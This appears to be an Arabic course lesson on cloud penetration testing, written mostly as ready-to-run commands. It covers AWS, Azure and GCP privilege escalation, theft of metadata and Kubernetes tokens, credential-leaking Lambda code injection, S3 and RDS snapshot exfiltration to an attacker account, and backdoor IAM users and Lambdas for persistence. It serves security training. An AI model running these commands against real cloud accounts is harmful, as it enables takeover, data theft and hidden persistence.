الدرس 23 من 24

اختبار اختراق السحابة والتقييم

تقنيات استغلال السحابة

4 دقيقة للقراءة

فهم مسارات الاستغلال الخاصة بالسحابة ضروري لكل من الاختبار الهجومي والتقوية الدفاعية. إساءة سياسة IAM وتصعيد الصلاحيات وتقنيات الحركة الجانبية تختلف بشكل كبير عن هجمات البنية التحتية التقليدية.

تصعيد صلاحيات AWS

مسارات التصعيد القائمة على IAM

iam:PassRole + إنشاء خدمة:

# إذا كان بإمكانك تمرير الأدوار وإنشاء Lambda
aws iam create-role --role-name EscalateRole --assume-role-policy-document file://trust.json

# إنشاء Lambda بدور admin
aws lambda create-function \
    --function-name escalate \
    --runtime python3.13 \
    --role arn:aws:iam::123456789012:role/AdminRole \
    --handler index.handler \
    --zip-file fileb://payload.zip

# كود Lambda يسترجع بيانات اعتماد admin عبر metadata

iam:CreatePolicyVersion:

# إنشاء إصدار سياسة جديد بصلاحيات admin
aws iam create-policy-version \
    --policy-arn arn:aws:iam::123456789012:policy/TargetPolicy \
    --policy-document file://admin-policy.json \
    --set-as-default

iam:AttachUserPolicy / AttachRolePolicy:

# إرفاق AdministratorAccess
aws iam attach-user-policy \
    --user-name compromised-user \
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

متجهات التصعيد الشائعة

الصلاحيةمسار التصعيد
iam:PassRole + lambda:CreateFunctionإنشاء Lambda بدور ذو صلاحيات
iam:PassRole + ec2:RunInstancesتشغيل EC2 بـ instance profile
iam:CreatePolicyVersionتعديل السياسة لإضافة صلاحيات
iam:AttachUserPolicyإرفاق سياسة admin
iam:PutUserPolicyإضافة سياسة admin inline
sts:AssumeRoleافتراض دور ذو صلاحيات أعلى
lambda:UpdateFunctionCodeتعديل Lambda موجود
ec2:ModifyInstanceAttributeتغيير userData للـ instance

الكشف الآلي

# Pacu - إطار استغلال AWS
python3 pacu.py

# داخل Pacu:
> run iam__privesc_scan
> run iam__enum_permissions

تصعيد صلاحيات Azure

إساءة تعيين الأدوار

# إذا كان لديك Owner أو User Access Administrator
az role assignment create \
    --assignee user@domain.com \
    --role "Owner" \
    --scope /subscriptions/SUBSCRIPTION_ID

استغلال Service Principal

# إنشاء service principal بوصول ذو صلاحيات
az ad sp create-for-rbac \
    --name "attacker-sp" \
    --role Contributor \
    --scopes /subscriptions/SUBSCRIPTION_ID

# استخدام بيانات الاعتماد المُرجعة
az login --service-principal \
    -u APP_ID \
    -p PASSWORD \
    --tenant TENANT_ID

إساءة Managed Identity

# من VM/App Service مخترق بـ managed identity
# الحصول على رمز الوصول
curl -H "Metadata: true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# استخدام الرمز لاستدعاءات ARM API
curl -H "Authorization: Bearer $TOKEN" \
    "https://management.azure.com/subscriptions?api-version=2020-01-01"

تصعيد Azure AD

الصلاحيةالتصعيد
Application.ReadWrite.Allإنشاء تطبيق بصلاحيات API ذات صلاحيات
RoleManagement.ReadWrite.Directoryتعيين Global Admin
User.ReadWrite.Allتعديل سمات المستخدم
Group.ReadWrite.Allإضافة النفس لمجموعات ذات صلاحيات

تصعيد صلاحيات GCP

إنشاء مفتاح Service Account

# إذا كان لديك iam.serviceAccountKeys.create
gcloud iam service-accounts keys create key.json \
    --iam-account admin-sa@project.iam.gserviceaccount.com

# المصادقة كـ service account
gcloud auth activate-service-account --key-file=key.json

إساءة setIamPolicy

# إذا كان لديك setIamPolicy على المشروع
gcloud projects set-iam-policy PROJECT_ID policy.json

# policy.json يمنح owner للمهاجم
{
  "bindings": [{
    "role": "roles/owner",
    "members": ["user:attacker@gmail.com"]
  }]
}

انتحال الهوية

# إذا كان بإمكانك انتحال service accounts
gcloud auth print-access-token \
    --impersonate-service-account=admin@project.iam.gserviceaccount.com

الحركة الجانبية

الوصول عبر حسابات AWS

# تعداد الأدوار القابلة للافتراض
aws iam list-roles \
    --query 'Roles[*].[RoleName,AssumeRolePolicyDocument]'

# افتراض دور عبر الحسابات
aws sts assume-role \
    --role-arn arn:aws:iam::TARGET_ACCOUNT:role/TrustedRole \
    --role-session-name lateral-movement

# استخدام بيانات الاعتماد الجديدة
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

حقن كود دالة Lambda

# تعديل دالة Lambda موجودة
cat > payload.py << 'EOF'
import boto3
import os

def handler(event, context):
    client = boto3.client('sts')
    creds = client.assume_role(
        RoleArn=os.environ['TARGET_ROLE'],
        RoleSessionName='injected'
    )
    # تسريب بيانات الاعتماد
    return creds['Credentials']
EOF

zip payload.zip payload.py
aws lambda update-function-code \
    --function-name target-function \
    --zip-file fileb://payload.zip

رمز Kubernetes Service Account

# من pod مخترق
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# استخدام الرمز للوصول لـ API
kubectl --token=$TOKEN --server=https://kubernetes.default auth can-i --list
kubectl --token=$TOKEN get secrets -A

تسريب البيانات

تسريب S3 Bucket

# نسخ bucket بالكامل
aws s3 sync s3://target-bucket ./exfil/

# إذا كان bucket عام
aws s3 cp s3://target-bucket/sensitive.db ./exfil/ --no-sign-request

مشاركة لقطة قاعدة البيانات

# مشاركة لقطة RDS مع حساب المهاجم
aws rds modify-db-snapshot-attribute \
    --db-snapshot-identifier target-snapshot \
    --attribute-name restore \
    --values-to-add ATTACKER_ACCOUNT_ID

# في حساب المهاجم، استعادة اللقطة
aws rds restore-db-instance-from-db-snapshot \
    --db-instance-identifier stolen-db \
    --db-snapshot-identifier arn:aws:rds:region:VICTIM:snapshot:target-snapshot

تقنيات الثبات

إنشاء مستخدم IAM/مفتاح وصول

# إنشاء مستخدم خلفي
aws iam create-user --user-name service-automation

# إنشاء مفاتيح وصول
aws iam create-access-key --user-name service-automation

# إرفاق الصلاحيات
aws iam attach-user-policy \
    --user-name service-automation \
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

باب خلفي Lambda

# إنشاء Lambda مستمر يُشغّل بأحداث CloudWatch
aws events put-rule \
    --name backdoor-trigger \
    --schedule-expression "rate(1 day)"

aws lambda add-permission \
    --function-name backdoor \
    --statement-id events \
    --action lambda:InvokeFunction \
    --principal events.amazonaws.com

aws events put-targets \
    --rule backdoor-trigger \
    --targets "Id"="1","Arn"="arn:aws:lambda:region:account:function:backdoor"

قائمة تحقق الاستغلال

المرحلةAWSAzureGCP
تصعيد الصلاحياتPassRole، CreatePolicyVersionتعيين الأدوار، Managed IdentitysetIamPolicy، مفاتيح SA
الجانبيAssumeRole، حقن LambdaService principalsالانتحال
الثباتمستخدمو IAM، Lambdaتسجيل التطبيقمفاتيح SA
التسريبS3 sync، مشاركة اللقطةتنزيل Blobgsutil

التالي، سنستكشف أدوات وأطر تقييم أمان السحابة. :::

مراجعة سريعة: كيف تجد هذا الدرس؟

اختبار

الوحدة 6: اختبار اختراق السحابة والتقييم

خذ الاختبار
نشرة أسبوعية مجانية

ابقَ على مسار النيرد

بريد واحد أسبوعياً — دورات، مقالات معمّقة، أدوات، وتجارب ذكاء اصطناعي.

بدون إزعاج. إلغاء الاشتراك في أي وقت.